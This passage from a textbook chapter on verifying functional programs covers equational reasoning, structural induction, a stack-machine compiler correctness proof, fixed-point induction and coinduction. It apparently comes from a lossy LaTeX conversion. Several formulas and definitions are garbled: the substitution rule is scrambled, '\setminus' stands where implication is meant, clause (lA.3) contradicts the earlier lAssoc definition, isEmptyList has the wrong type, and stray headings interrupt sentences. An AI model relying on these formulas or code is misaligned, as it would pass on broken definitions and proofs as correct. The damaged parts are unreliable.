In each step of an evaluation such as this equals are replaced by equals, and this points to the basis of a logical approach to reading functional programs. The use of the equals sign in function definitions is indeed suggestive, and we can read the definitions as logical statements of the properties of the defined functions, thus:
\[
\text{id } x \equiv x \quad \text{(id.1)}
\]
for all \(x\) of type \(\tau\), and so on. Note that we have used the symbol “≡” here for logical equality to distinguish it from both the “definitional” equality used to define objects in the language, =, and the “calculational” Boolean equality operation of the language, \(==\).
Logical equations like these can be manipulated using the rules of logic in the standard way, so that we can deduce, for instance, that
\[
\text{id } (\text{id } y) \\
\quad \equiv \{\text{by substituting } \text{id } y \text{ for } x \text{ in (id.1)}\}
\]
\[
\text{id } y \\
\quad \equiv \{\text{by substituting } y \text{ for } x \text{ in (id.1)}\}
\]
\[
y
\]
In linear proofs we shall use the format above, in which the justification for each equality step of the proof is included in braces \{\cdot \cdot \cdot\}.
So, we see a model for verification of functional programs which uses the defining equations as logical equations, and the logical laws for equality: reflexivity, symmetry, transitivity and substitution:
\[
\begin{align*}
P(a) & \quad \equiv \quad a \equiv b \\
P(b) & \quad \equiv \quad (Subst)
\end{align*}
\]
to make deductions. Note that in giving the substitution rule we have used the convention that \(P(a)\) means an expression \(P\) in which \(a\) occurs; the appearance of \(P(b)\) below the line means that the occurrences of \(a\) in \(P\) in have been replaced by \(b\). An alternative notation which we use later in the chapter is \(P[b/a]\) which is used to denote “\(b\) substituted for \(a\) in \(P\)”.
The logical versions of the definitions given here contain free variables, namely the variables of the definitions. In the remainder of the chapter we will also use a closed form given by taking the universal quantification over these variables. \((\text{id.1})\) will then take the form \((\forall x::\alpha)(\text{id } x \equiv x)\) for example.
4.3 Pattern Matching, Cases and Local Definitions
The purely equational definition style of Section 4.2 can be made to accommodate case switches, local definitions and pattern matching by means of the
appropriate higher-order combinators. Indeed, this is one way of interpreting
the work of Bird and others, discussed further in Section 4.9.3. However, for
reasons of readability and conciseness, most languages offer syntactic support
for these facilities, and with this additional syntax comes the task of giving
it a logical explanation.
This section gives an overview of how pattern matching, cases and local
definitions are rendered logically; a more detailed examination can be found
in [551], which addresses the question for Miranda. Note that here we are
still considering a small (terminating) language, rather than a full language.
4.3.1 Pattern Matching
Pattern matching serves to distinguish cases, as in
\[
\text{isEmptyList} :: [a] \rightarrow [a] \\
\text{isEmptyList} [] = \text{True} \\
\text{isEmptyList} _ = \text{False}
\]
(where "_" is a wildcard pattern, matching anything), and also to allow access
to the components of a compound object
\[
\text{tail} :: [a] \rightarrow [a] \\
\text{tail} [] = [] \\
\text{tail} (x:xs) = xs
\]
In the example of \text{tail}, where the patterns do not overlap (are exclusive) and
cover all eventualities (are exhaustive), the definitions can be read as logical
equations.
In the general case, we need to take account of the \textit{sequential}
interpretation which is usually applied to them. Looking at \text{isEmptyList}, the second
equation in which the "_" will match any value will only be applied should
the first clause not apply. We therefore need to give a description of the com-
plement of a pattern, here [], over which the remaining equations hold. The
complement of [] will be the non-empty list, (x:xs), and so we can rewrite
the definition of the function to give its logical form thus:
\[
\text{isEmptyList} [] \equiv \text{True} \\
\text{isEmptyList} (x:xs) \equiv \text{False}
\]
As another example, consider the pattern (x:y:ys). This will match lists
with two or more elements, and its complement is given by the two patterns
[] and [_]. The full details of the way in which pattern matching definitions
can be translated are to be found in [551].
4.3.2 Cases
Definitions can have alternatives depending on the (Boolean) values of
guards, in a Haskell style,
f args
| g₁ = e₁
| g₂ = e₂
| ... otherwise = e
If the (actual values of the) parameters args satisfy g₁ then the result of f args is e₁; should g₁ be False then if g₂ is True, e₂ is the result, and so on. In logical form we then have
\((g₁ \equiv True \Rightarrow f\ args \equiv e₁) \land ((g₁ \equiv False \land g₂ \equiv True) \Rightarrow f\ args \equiv e₂) \land \ldots\)
which renders the definition as the conjunction of a set of conditional equations.
4.3.3 Local Definitions
A local definition, introduced either by a let or a where introduces a name whose scope is restricted. An example is given by the schematic
\[
f :: a₁ \to a₂
\]
\[
f \ x = e
\]
\[
where
\]
\[
g :: a₃ \to a₄
\]
\[
g \ y = e'
\]
The function g is in scope in the expression e as well as the where clause. It is also important to realise that its definition will, in general, depend upon the parameter x. It is translated thus
\[
(\forall x::a₁)(\exists g::a₃ \to a₄)((\forall y::a₃)(g \ y \equiv e') \land f \ x \equiv e)
\]
in which the locally defined value(s) are existentially quantified, and the universal quantification over the argument values for f and g are shown explicitly.
4.3.4 Further Issues
The features discussed in this section can, when they appear in real programming languages such as Haskell, have complex interactions. For instance, it is not necessary to have an otherwise case in a guarded equation, so that it is possible for none of the guards to hold for a particular set of arguments. In this situation, the next guarded equation (and therefore pattern match) has to be examined, and this is particularly difficult to explain when the guards also refer to local definitions – an example is presented in [551].
The translation given here goes beyond the equational, giving axioms which involve arbitrarily deep alternations of quantifiers. In practice these
quantifiers will be stripped off, allowing conditional equational reasoning take
place; the effect of the quantifications is to ensure that the scoping rules
of the language are obeyed, while the conditions reflect the guards in the
definitions of the language. Pattern matching is supported by the substitution
mechanism of the logic.
4.4 Structural Induction and Recursion
In this section we consider how to strengthen our language to accommodate
recursively defined functions and types while retaining the property that all
computations will terminate.
At the heart of modern functional programming languages are built-in
types of lists and a facility to define “algebraic” data types built by the ap-
lication of constructors. If we wish to build a simple-minded representation
of integer arithmetic expressions — as part of a calculator or a compiler, say
— we might write, using Haskell notation
data IntExp = Literal Int |
Binary Op IntExp IntExp
data Op = Add | Sub | Mul
which describes a type whose members take two forms, built by the two
constructors of the type, Literal and Binary.
• The first is Literal n, where n is an Int (integer).
• The second form is Binary op ex1 ex2 where ex1 and ex2 are themselves
IntExps and op is one of Add, Sub or Mul (representing three binary arith-
metic operators).
An example of the type, representing the arithmetic expression (4+3)-5, is
Binary Sub (Binary Add (Literal 4) (Literal 3)) (Literal 5)
To define a function over Op it is sufficient to give its value at the three
possible inputs, so that
opValue :: Op -> (Int -> Int -> Int)
opValue Add = (+)
opValue Sub = (-)
opValue Mul = (*)
serves to interpret the arithmetic operators. In a similar way, if we wish to
prove that some logical property holds for all operators it is sufficient to prove
that the property holds for the three values of the type.
Now, the type IntExp is rather more complicated, since it is recursively
defined, and has an infinite number of members. However, we know that the
only ways that elements are constructed are by means of a finite number of
applications of the constructors of the type. This means that an arbitrary
element of the type will take one of the forms
Literal n
Binary op ex1 ex2
where ex1 and ex2 are themselves elements of \(\text{IntExp}\).
Because every element is built up in this way, we can deduce how to define
functions over \(\text{IntExp}\) and to prove that properties hold of all elements of
\(\text{IntExp}\). To define a function we use \textbf{structural recursion}, as exemplified
by a function to evaluate an arithmetic expression:
\[
\text{eval} : \text{IntExp} \rightarrow \text{Int}
\]
\[
\text{eval} \left(\text{Literal int}\right) = \text{int} \quad (\text{eval.1})
\]
\[
\text{eval} \left(\text{Binary op ex1 ex2}\right) = \text{opValue op} \left(\text{eval ex1}\right) \left(\text{eval ex2}\right) \quad (\text{eval.2})
\]
Here we see the pattern of definition in which we
\begin{itemize}
\item give the result at \text{Literal int} outright; and
\item give the result at \text{Binary op ex1 ex2} using the results already defined for
\text{ex1} and \text{ex2} (as well as other components of the data value, here \text{op}).
\end{itemize}
It can be seen that a finite number of recursive calls will result in calls to the
\text{Literal} case, so that functions defined in this way will be total.
In an analogous way, we can use structural induction to prove a property
for all \(\text{IntExp}\). This principle is stated now.
\textbf{Structural induction.} To prove \(P(e)\) for all \(e\) in \(\text{IntExp}\) we need
to show that
\begin{itemize}
\item \textbf{Base case.} The property \(P(\text{Literal int})\) holds for all \text{int}.
\item \textbf{Induction case.} The property \(P(\text{Binary op ex1 ex2})\) holds on
the assumption that \(P(\text{ex1})\) and \(P(\text{ex2})\) hold.
\end{itemize}
Given any \(\text{IntExp} t\) we can see that a finite number of applications of the
induction case will lead us back to the base case, and thus establish that \(P(t)\)
holds.
In the next section we give examples of various functions defined by struc-
tural recursion together with verification using structural induction over the
\(\text{IntExp}\) type.
\section*{4.5 Case Study: a Compiler Correctness Proof}
In this section we give a proof of correctness of a tiny compiler for arithmetic
expressions using structural induction over the type of expressions, given by
the algebraic data type \texttt{IntExp}. In developing the proof we explore some of the pragmatics of finding proofs.
It is instructive to compare this program and proof developed in a functional context with a similar problem programmed in a modern imperative language such as C++, Java or Modula 3. The advantage of the approach here is that modern functional languages contain explicit representations of recursive data types, and so a proof of a program property can refer explicitly to the forms of data values. In contrast, a stack in an imperative language will either be represented by a dynamic data structure, built using pointers, or by an array, with the attendant problems of working with a concrete representation of a stack rather than an appropriately abstract view. In either case it is not so easy to see how a proof could be written, indeed the most appropriate model might be to develop the imperative program by refinement from the verified functional program presented here.
4.5.1 The Compiler and Stack Machine
The program is given in Figure 4.1, in two halves. In the first half we reiterate the definitions of the \texttt{IntExp} type and its evaluation function \texttt{eval}, which is defined by structural recursion over \texttt{IntExp}.
In the second half of the figure we give a model of a stack machine which is used to evaluate the expressions. The machine operates over a stack of integers, hence the definition
\begin{verbatim}
type Stack = [Int]
\end{verbatim}
The instructions for the machine are given by the type \texttt{Code}, which has two operations, namely to push an element (\texttt{PushLit}) onto the stack and to perform an evaluation of an operation (\texttt{DoBinary}) using the top elements of the stack as arguments.
An expression is converted into a \texttt{Program}, that is a list of \texttt{Code}, by \texttt{compile}. The \texttt{compile} function compiles a literal in the obvious way, and for an operator expression, the compiled code consists of the compiled code for the two expressions, concatenated by the list operator \texttt{++}, with the appropriate binary operator invocation appended.
The operation of the machine itself is described by
\begin{verbatim}
run :: Program -> Stack -> Stack
\end{verbatim}
and from that definition it can be seen that if the stack fails to have at least two elements on operator evaluation, execution will be halted and the stack cleared.
4.5.2 Formulating the Goal
The intended effect of the compiler is to produce code (for \texttt{e}) which when \texttt{run} puts the value of \texttt{e} on the stack. In formal terms,
run (compile e) [] \equiv [eval e] \quad (\text{compGoal.1})
Now, we could look for a proof of this by structural induction over e, but this will fail. We can explain this failure from two different points of view.
Looking first at the problem itself, we can see that in fact the compiler and machine have a rather more general property: no matter what the initial configuration of the stack, the result of the run should be to place the value of the expression on the top of the stack:
run (compile e) stack \equiv (eval e : stack)
This is still not general enough, since it talks about complete computations — what if the code is followed by more program? The effect should be to evaluate e and place its result on the stack prior to executing the remaining program. We thus reach the final formulation of the goal
run (compile e ++ program) stack
\equiv run program (eval e : stack) \quad (\text{compGoal.2})
An alternative view of the difficulty comes from looking at the failed proof attempt: the induction hypothesis turns out not to be powerful enough to give what is required. This happens in the case of a binary operation, when we try to prove (compGoal.1) where e is, for example, Binary Add ex1 ex2. In this case we need to prove that
run (compile ex1 ++ compile ex2 ++ [DoBinary Add]) \equiv [eval e]
so that we will need a hypothesis about compile ex1 in context
run (compile ex1 ++ ...)
rather than in isolation.
This leads us to formulate the generalisation (compGoal.2) — this is examined in the next section and again it is shown there how a failed proof attempt leads to an suitable formalisation of the induction hypothesis.
A guide to the form of hypothesis is often given by the form taken by the definitions of the functions under scrutiny; we will discuss this point after giving the full proof in next section.
4.5.3 The Proof
Our goal is to prove (compGoal.2) for all values of e, program and stack. As a first attempt we might try to prove (compGoal.2) by induction over e, for arbitrary program and stack, but again this will fail. This happens because the induction hypothesis will be used at different values of stack and program, so that the goal for the inductive proof is to show by structural induction on e that
(Vprogram,stack)(run (compile e ++ program) stack
\equiv run program (eval e : stack)) \quad (\text{goal})
4.6 General Recursion
holds for all $e$.
The proof is given in Figure 4.2 and follows the principle of structural induction for $\text{IntExp}$ presented in Section 4.4 above. In the first part we prove the base case:
\[
\text{run (compile (Literal int) ++ program) stack} \
\equiv \text{run program (eval (Literal int) : stack)} \quad \text{(base)}
\]
for arbitrary $\text{program,stack}$, thus giving the base case of $(\text{goal})$. The proof proceeds by separately rewriting the left- and right-hand sides of (base) to the same value.
In the second part we show
\[
\text{run (compile (Binary op ex1 ex2) ++ program) stack} \
\equiv \text{run program (eval (Binary op ex1 ex2) : stack)} \quad \text{(ind)}
\]
for arbitrary $\text{program,stack}$ using the induction hypotheses for $\text{ex1}$:
\[
(\forall \text{program,stack})(\text{run (compile ex1 ++ program) stack} \
\equiv \text{run program (eval ex1 : stack)}) \quad \text{(hyp)}
\]
and $\text{ex2}$. It is instructive to observe that in the proof the induction hypothesis for $\text{ex1}$, (hyp), is used with the expression
\[
\text{compile ex2 ++ [DoBinary op] ++ program}
\]
substituted for $\text{program}$, and that for $\text{ex2}$ is used in a similar way. Again the proof proceeds by separately rewriting the left- and right-hand sides of (ind).
The third part of Figure 4.2 shows how our original goal, $(\text{compGoal.1})$ is a consequence of the more general result $(\text{compGoal.2})$.
How might we be led to the goal $(\text{goal})$ by the form of the program itself? If we examine the definition of $\text{run}$ we can see that in the recursive calls (run.2) and (run.3) the $\text{stack}$ parameter is modified. This indicates that the $\text{stack}$ cannot be expected to be a parameter of the proof, and so that the general formulation of the induction hypothesis will have to include all possible values of the stack parameter.
4.6 General Recursion
In the preceding sections we saw how structural recursion and induction can be used to define and verify programs over algebraic data types. Functions defined in this way are manifestly total, but there remains the question of whether these limited forms of recursion and induction are adequate in practice. An example going beyond structural recursion over $\text{IntExp}$ is a function to re-arrange arithmetic expressions so that the additions which they contain are associated to the left, transforming
The function is defined thus:
```haskell
lAssoc :: IntExp -> IntExp
lAssoc (Literal n) = Literal n
lAssoc (Binary Sub ex1 ex2)
= Binary Sub (lAssoc ex1) (lAssoc ex2)
lAssoc (Binary Add ex1 (Binary Add ex3 ex4))
= lAssoc (Binary Add (Binary Add ex1 ex3) ex4) (lAssoc.1)
lAssoc (Binary Add ex1 ex2)
= Binary Add (lAssoc ex1) (lAssoc ex2)
```
(where the Mul case has been omitted). Each clause is structurally recursive, except for (lAssoc.1), in which the top-level expression `ex1+(ex3+ex4)` is transformed to `(ex1+ex3)+ex4`. Once this transformation has been effected, it is necessary to re-examine the whole rearranged expression, and not just the components of the original. The reader might like to experiment with the example expression to convince herself of the necessity of making a definition of this form, rather than a structural recursion.
Now, what is the lesson of examples like this for the design of functional programming languages and for verification of systems written in them?
There are broadly two schools of thought.
The predominant view is to accept that a language should allow arbitrary recursion in the definitions of functions (and perhaps other objects). Mainstream languages such as Haskell, Miranda and Standard ML are all of this kind. With arbitrary recursion come a number of consequences.
- The semantics of the language becomes more complex, since it must now contain an account of the possible non-termination of programs.
- Moreover, the evaluation mechanism becomes significant. If all programs terminate, then the order in which programs are evaluated is not an issue; if non-termination is possible then strict and lazy evaluation strategies differ, and thus give strict and non-strict languages different semantics.
- As far as the topic of this chapter is concerned, the complexity of the semantics is reflected in the logic needed to reason about the language, for both strict and non-strict languages.
For these reasons there has been recent interest in terminating languages — Turner’s notion of “strong” functional languages [564] — because such languages both have a simpler proof theory and have full freedom of choice for evaluation strategy, which is of course of relevance to the field of parallel functional programming.
In the remainder of this chapter we will explore the effect of these two alternatives for functional program verification, first looking at the mainstream, partial, languages.
4.7 Partial Languages
This section gives an informal overview of the effect of admitting general recursion into a programming language, and emphasises the consequent split between strict and non-strict languages. This serves as an introduction to the overview of the semantic basis of languages with partiality in the section to come.
4.7.1 Strict Languages
In a strict language such as (the pure subset of) Standard ML arbitrary forms of recursive definitions are allowed for functions. A definition of the form
\[
\texttt{undefFun} :: \texttt{a} \rightarrow \texttt{a} \\
\texttt{undefFun} \hspace{1em} \texttt{x} = \texttt{undefFun} \hspace{1em} \texttt{x} \tag{\texttt{undefFun.}1}
\]
(using Haskell-style syntax) has the effect of forcing there to be an undefined element at every type. What effect does this have for evaluation and for the logic? Take the example function
\[
\texttt{const} :: \texttt{a} \rightarrow \texttt{b} \rightarrow \texttt{a} \\
\texttt{const} \hspace{1em} \texttt{x} \hspace{1em} \texttt{y} = \texttt{x}
\]
and consider its logical translation. Our earlier work suggests that we translate it by
\[
\texttt{const} \hspace{1em} \texttt{x} \hspace{1em} \texttt{y} \equiv \texttt{x} \tag{\texttt{const.}1}
\]
but we need to be careful what is substituted for the variables \(x\) and \(y\). If we take \(x\) to be \(3\) and \(y\) to be \texttt{undefFun} \hspace{1em} \texttt{4} then it appears that
\[
\texttt{const} \hspace{1em} 3 \hspace{1em} \texttt{(undefFun} \hspace{1em} \texttt{4} \hspace{1em} \texttt{)} \equiv \texttt{3}
\]
This is contrary to the rule for evaluation which states that arguments need to be evaluated prior being passed to functions, and which means that \(\texttt{(undefFun.}1\texttt{)}\) should be undefined when applied to \texttt{undefFun} \hspace{1em} \texttt{4}. The translation \(\texttt{(const.}1\texttt{)}\) can therefore only apply to values (of type \texttt{Int}) rather than arbitrary expressions of that type as was the case earlier. This can be made clear by re-expressing \(\texttt{(const.}1\texttt{)}\) thus:
\[
(\forall_x \hspace{0.5em} y)(\texttt{const} \hspace{1em} x \hspace{1em} y \equiv \texttt{x})
\]
where the subscript in the quantifier “\(\forall_x\)” serves as a reminder that the quantifier ranges over all (defined) values rather than all expressions including those which denote an undefined computation.
4.7.2 Non-Strict languages
In a non-strict language like Haskell the definition of \texttt{undefFun} in \(\texttt{(undefFun.}1\texttt{)}\) also gives rise to an undefined element at each type. This does not however affect the translation of \texttt{const} given in \(\texttt{(const.}1\texttt{)}\) above, since in a non-strict
language expressions are passed *unevaluated* to functions. In other words, the evaluation mechanism can truly be seen to be one of substitution of expressions for expressions. (For efficiency, this “call by name” strategy will be implemented by a “call by need” discipline under which the results of computations are shared.)
Nevertheless, the presence of an undefined expression in each type has its effect. We accept as a law the assertion that for all integers $x$
$x + 1 > x$
but this will not be the case if $x$ is an undefined computation. We will therefore have to make the distinction between defined values and all expressions as in Section 4.7.1.
The result of combining lazy evaluation and general recursion are more profound than for a strict language, since data structures can become partial or infinite. The effect of
```haskell
nums = from 1
from n = n : from (n+1)
```
is to define the infinite list of positive integers, $[1, 2, 3, \ldots]$. If $\text{nums}$ is passed to a function, then it is substituted unevaluated, and parts of it are evaluated when and if they are required:
```haskell
sft :: [Int] -> Int
sft (x:y:_) = x+y \quad (sft.1)
```
```haskell
sft nums
=> sft (from 1)
=> sft (1 : from 2)
=> sft (1 : 2 : from 3)
```
At this point the pattern match in $(sft.1)$ can be performed, giving the result 3. Our interpretation therefore needs to include such infinite lists, as well as “partial” lists such as $(2: \text{undefFun} 2)$. Note that under a strict interpretation all infinite and partial lists are identified with the undefined list, since they all lead to non-terminating computations.
In order to give a proper account of the behaviour of languages with non-termination we now look at the ways in which a formal or mathematical semantics can be given to a programming language.
### 4.8 Semantic Approaches
This section surveys the two semantic approaches to functional programming languages with the aim of motivating the logical rules to which the semantics lead.
4.8 Semantic Approaches
4.8.1 Denotational Semantics
Under a denotational semantics, as introduced in the textbook [586], the objects of a programming language — both terminating and non-terminating — are modelled by the elements of a domain. A domain is a partially ordered structure, where the partial order reflects the degree of definedness of the elements, with the totally undefined object, $\perp$, below everything: $\perp \sqsubseteq x$.
Recursion, as in the definition
$$f = C[f]$$
can then be explained by first looking at the sequence of approximations, $f_n$, with
$$f_0 \equiv \perp$$
and
$$f_{n+1} = C[f_n]$$
A domain also carries a notion of limit for sequences (or indeed more general “directed sets”), so that the meaning of $f$, $[f]$, is taken to be the limit of this sequence of approximations:
$$f \equiv \bigcup_n f_n$$
Another way of seeing this is that $[f]$ is the least fixed point of the operation $\lambda f. C[f]$ with a domain having sufficient structure to provide fixed points of (monotone) operators over them.
All the data types of a functional language can be modelled in such a way, and reasoning over domains is characterised by fixed-point induction, which captures the fact that a recursively defined function is the limit of a sequence. Before stating the principle, an auxiliary definition is needed.
A predicate $P$ is called inclusive if it is closed under taking limits, broadly speaking. Winskel, [586], provides a more detailed characterisation of this, together with sufficient conditions for a formula to be an inclusive predicate.
**Fixed-point induction.** If $P$ is an inclusive predicate and if $f$ is defined as above, then if
- $P(\perp)$ holds, and
- $P(f_n)$ implies $P(f_{n+1})$;
then $P$ holds of the limit of the sequence, that is $P(f)$.
As an example we look again at the $lAssoc$ function, defined in Section 4.6 above. We would like to show that rearranging an expression will not change its value, that is
$$(\forall e)(\text{eval } (lAssoc e) \equiv \text{eval e}) \quad P_0(lAssoc)$$
where \texttt{eval} is defined in Section 4.4). Equations are inclusive, but unfortunately we cannot prove the inductive goals in this case. Take the case of (FPI.1); this states that the property should hold when the function \texttt{lAssoc} is replaced by the totally undefined function, \texttt{⊥}, and so that we should prove
\[(\forall e)(\texttt{eval} (\bot e) \equiv \texttt{eval} e)\]
which, since the \texttt{⊥} function is undefined on every argument, is equivalent to
\[(\forall e)(\texttt{eval} \bot \equiv \texttt{eval} e)\]
which is plainly not the case.
We can modify the property to say that if the result is defined then the equality holds, namely,
\[(\forall e)((\texttt{lAssoc} e \equiv \bot) \setminus \texttt{eval} (\texttt{lAssoc} e) \equiv \texttt{eval} e)\]
It is interesting to see that this is a \textit{partial correctness} property, predicated on the termination of the \texttt{lAssoc} function, for which we have to prove a separate termination result. We discuss termination presently.
To establish this result we have to prove (FPI.1) and (FPI.2) for this property. A proof of (FPI.1) is straightforward, since \texttt{P(⊥)} states:
\[(\forall e)((\bot e \equiv \bot) \setminus \texttt{eval} (\bot e) \equiv \texttt{eval} e)\]
and \(\bot e \equiv \bot\) holds, as discussed earlier. A proof of (FPI.2) requires that we show that \texttt{P(lAssoc\texttt{\texttt{\texttt{\texttt{n}}})}} implies \texttt{P(lAssoc\texttt{\texttt{\texttt{\texttt{n}}}})} where (omitting the \texttt{Mul} case),
\[\texttt{lAssoc}\texttt{\texttt{\texttt{\texttt{n}}}}+1 (\texttt{Literal} n) = \texttt{Literal} n \quad (lA.1)\]
\[\texttt{lAssoc}\texttt{\texttt{\texttt{\texttt{n}}}}+1 (\texttt{Binary Sub} \texttt{ex1 ex2}) = \texttt{Binary Sub} (\texttt{lAssoc}\texttt{\texttt{\texttt{n}}} \texttt{ex1}) (\texttt{lAssoc}\texttt{\texttt{\texttt{n}}} \texttt{ex2}) \quad (lA.2)\]
\[\texttt{lAssoc}\texttt{\texttt{\texttt{\texttt{n}}}}+1 (\texttt{Binary Add} \texttt{ex1} (\texttt{Binary Add} \texttt{ex3 ex4})) = \texttt{Binary Add} (\texttt{lAssoc}\texttt{\texttt{\texttt{n}}} \texttt{ex1}) (\texttt{lAssoc}\texttt{\texttt{\texttt{n}}} \texttt{ex3 ex4}) \quad (lA.3)\]
\[\texttt{lAssoc}\texttt{\texttt{\texttt{\texttt{n}}}}+1 (\texttt{Binary Add} \texttt{ex1 ex2}) = \texttt{Binary Add} (\texttt{lAssoc}\texttt{\texttt{\texttt{n}}} \texttt{ex1}) (\texttt{lAssoc}\texttt{\texttt{\texttt{n}}} \texttt{ex2}) \quad (lA.4)\]
Now, our goal is to prove that
\[(\forall e)((\texttt{lAssoc}\texttt{\texttt{\texttt{n}}}}+1 e \equiv \bot) \setminus \texttt{eval} (\texttt{lAssoc}\texttt{\texttt{\texttt{n}}}}+1 e) \equiv \texttt{eval} e)\]
on the assumption that
\[(\forall e)((\texttt{lAssoc}\texttt{\texttt{\texttt{n}}}} e \equiv \bot) \setminus \texttt{eval} (\texttt{lAssoc}\texttt{\texttt{\texttt{n}}}} e) \equiv \texttt{eval} e)\]
We look at the cases of the definition in turn. For a literal we have by (lA.1)
\[\texttt{lAssoc}\texttt{\texttt{\texttt{n}}}}+1 (\texttt{Literal} n) \equiv \texttt{Literal} n\]
from which we conclude immediately that
\[\texttt{eval} (\texttt{lAssoc}\texttt{\texttt{\texttt{n}}}}+1 (\texttt{Literal} n)) \equiv \texttt{eval} (\texttt{Literal} n)\]
Now, looking at subtraction, and assuming that the function terminates, we have
4.8 Semantic Approaches
\[ \text{eval} \left( \text{1Assoc}_{n+1} \left( \text{Binary Sub} \ ex1 \ ex2 \right) \right) \]
\[ \equiv \ { \text{by \ (1A.2)} } \]
\[ \text{eval} \left( \text{Binary Sub} \ \left( \text{1Assoc} \ ex1 \right) \ \left( \text{1Assoc} \ ex2 \right) \right) \]
\[ \equiv \ { \text{by \ definition \ of \ eval} } \]
\[ \text{eval} \ \left( \text{1Assoc} \ ex1 \right) - \text{eval} \ \left( \text{1Assoc} \ ex2 \right) \]
\[ \equiv \ { \text{by \ definition \ of \ eval} } \]
\[ \text{eval} \left( \text{Binary Sub} \ ex1 \ ex2 \right) \]
The tricky case is (1A.3), which is the non-structurally recursive clause. Now, again assuming termination, we have
\[ \text{eval} \left( \text{1Assoc}_{n+1} \left( \text{Binary Add} \ ex1 \left( \text{Binary Add} \ ex3 \ ex4 \right) \right) \right) \]
\[ \equiv \ { \text{by \ (1A.3)} } \]
\[ \text{eval} \ \left( \text{1Assoc} \ \left( \text{Binary Add} \ \left( \text{Binary Add} \ ex1 \ ex3 \right) \ ex4 \right) \right) \]
\[ \equiv \ { \text{by \ termination \ and \ the \ induction \ hypothesis} } \]
\[ \text{eval} \ \left( \left( \text{Binary Add} \ \left( \text{Binary Add} \ ex1 \ ex3 \right) \ ex4 \right) \right) \]
\[ \equiv \ { \text{by \ the \ associativity \ of \ +} } \]
\[ \text{eval} \left( \text{Binary Add} \ ex1 \left( \text{Binary Add} \ ex3 \ ex4 \right) \right) \]
The final case – which corresponds to (1A.4) – follows exactly the proof for the (1A.2) case, with Add replacing Sub. This establishes the induction step, and so the result itself.
How do we prove that 1Assoc terminates on all arguments? We need to have some “measure of progress” in the recursive calls. In all calls but (1Assoc.1) the recursive calls are on structurally smaller expressions, but in (1Assoc.1) the call is to an expression containing the same number of operators. What is changed in the recursive call is the arrangement of the expression, and it is easy to see that on the right hand side of the Add in the recursive call there are fewer applications of Add than in the same position on the left hand side:
\[
\begin{array}{c}
\text{e1} + \\
\text{e2} \text{ e3} \\
\end{array}
\]
This reduction means that there can only be a finite number of repeated calls to (1Assoc.1) before one of the structural cases is used. Informally, what we have done is to give an ordering over the expressions which is well-founded, that is has no infinite descending chains (like the chain \(-1 > -2 > \ldots > -n > \ldots\) over the integers). A recursion will terminate precisely when it can be shown to follow a well-founded ordering.
Further details about denotational semantics can be found in [586, 442]. We also refer back to denotational semantics at the end of Section 4.8.3.
4.8.2 Operational Semantics
The structured (“SOS”) style of operational semantics pioneered by Plotkin describes a programming language by means of deduction rules which explain how expressions are evaluated. This style has been used to describe real languages, notably Standard ML [396], and arguably it gives a more readable and concise description of a language than a denotational semantics. The account given in this section relies on Gordon’s thesis, [221], which serves as an introduction to the way that these ideas are applied to the description of functional programming languages.
SOS descriptions give reduction rules (describing “one step” of the computation), as in
\[(\lambda x.M)N \rightarrow M[N/x]\]
or can provide a description of the evaluation of an expression to a value (the “big step” rules), thus:
\[L \Rightarrow (\lambda x.M) \quad M[N/x] \Rightarrow V\]
\[(L \ N) \Rightarrow V\]
These rules are related, with \(\Rightarrow\) representing arbitrarily many steps under the relation \(\rightarrow\). From these rules an equality relation can be generated: two expressions are equal, \(L \approx M\), if whatever context \(C[\_]\) they are placed in, \(C[L] \Rightarrow V\) if and only if \(C[M] \Rightarrow V\). Now, the issue becomes one of finding ways of deducing, for given expressions \(L\) and \(M\), that \(L \approx M\) holds. Abramsky [5] had the insight that this relation resembled the bisimulations of process calculi. This characterises the equivalence as a greatest fixed point.
Rather than look at the general theory of bisimulations, we will look here at how it applies to infinite lists. We take an infinite example because in the finite case the flavour of proof is similar to the denotational style, so that the proof of correctness for \(\text{1Assoc}\) would follow similar lines to that in Section 4.8.1; it is in the infinite case that a distinctive style emerges.
The equality relation over infinite lists, \(\approx\), is the greatest fixed point of the definition
\[xs \approx ys \iff \text{there exist } z, v, zs, ws \text{ so that } xs \rightarrow (z:zs), \quad ys \rightarrow (v:ws), \quad z \equiv v \text{ and } zs \approx ws.\]
where the symbol \(\iff\) is used to mean “is defined to be”.
Now, the greatest fixed point of a relation can be characterised as the union of all the post-fixed points of the relation, which in this case are called bisimulations. The relation \(S\) is a bisimulation if
\[xs \ S ys \implies \text{there exist } z, v, zs, ws \text{ so that } xs \rightarrow (z:zs), \quad ys \rightarrow (v:ws), \quad z \equiv v \text{ and } zs \equiv_S ws.\]
where \(\equiv_S\) is the smallest congruence generated by the relation \(S\). It is now the case that
4.8 Semantic Approaches
Coinduction for infinite lists.
\[ xs \simeq ys \iff \text{there exists a bisimulation } S \text{ such that } xs \mathcal{S} ys. \]
In the next section we give an example of a proof using this coinduction principle for infinite lists.
4.8.3 An Example of Coinduction
In this section we give proof of the equality of two lists of the factorials of the natural numbers. The first is a mapping of the factorial function along the list of natural numbers
\[
\text{facMap :: } [\text{Integer}] \\
\text{facMap = map fac [0..]} \\
\]
\[
\text{fac :: Integer -> Integer} \\
fac 0 = 1 \\
fac (n+1) = (n+1) \ast fac n \\
\]
The second, \text{facs 0}, gives a recursive definition of the list in question. The definition uses the function \text{zipWith} which runs in lock step along two lists, applying a function to the elements chosen.
\[
\text{zipWith f (x:xs) (y:ys) = f x y : zipWith f xs ys} \\
\text{zipWith f _ _ = []} \\
\]
so that, for example,
\[
\text{zipWith (*) [1,1,2] [1,2,3] = [1,2,6]} \\
\]
In fact, a more general function is defined, which gives a recursive definition of the list of factorials from \( n! \),
\[
\text{facs :: Integer -> [Integer]} \\
facs n = fac n : \text{zipWith (*) [n+1..] (facs n)} \\
\]
To prove the equality of the two lists \text{facMap} and \text{facs 0} we first prove an auxiliary result, namely that
\[
\text{zipWith (*) [n+1..] (facs n) \simeq facs (n+1)} \\
\]
for all natural numbers \( n \). In order to do this we take the relation
\[
\mathcal{S} \equiv \{ (\text{zipWith (*) [n+1..] (facs n) , facs (n+1)} \mid n \in \text{Nat} \} \\
\]
and show that it is a bisimulation. Expanding first the left hand side of a typical element we have
\[
\text{zipWith (*) [n+1..] (facs n)} \\
\Rightarrow \text{zipWith (*) (n+1:[n+2..]) (fac n : (tail (facs n)))} \\
\Rightarrow (n+1)*\text{fac n} : \text{zipWith (*) [n+2..]} \\
\quad (\text{zipWith (*) [n+1..] (facs n)}) \\
\Rightarrow \text{fac (n+1) : zipWith (*) [n+2..]} \\
\quad (\text{zipWith (*) [n+1..] (facs n)}) \\
\]
\[
\]
On the right hand side we have
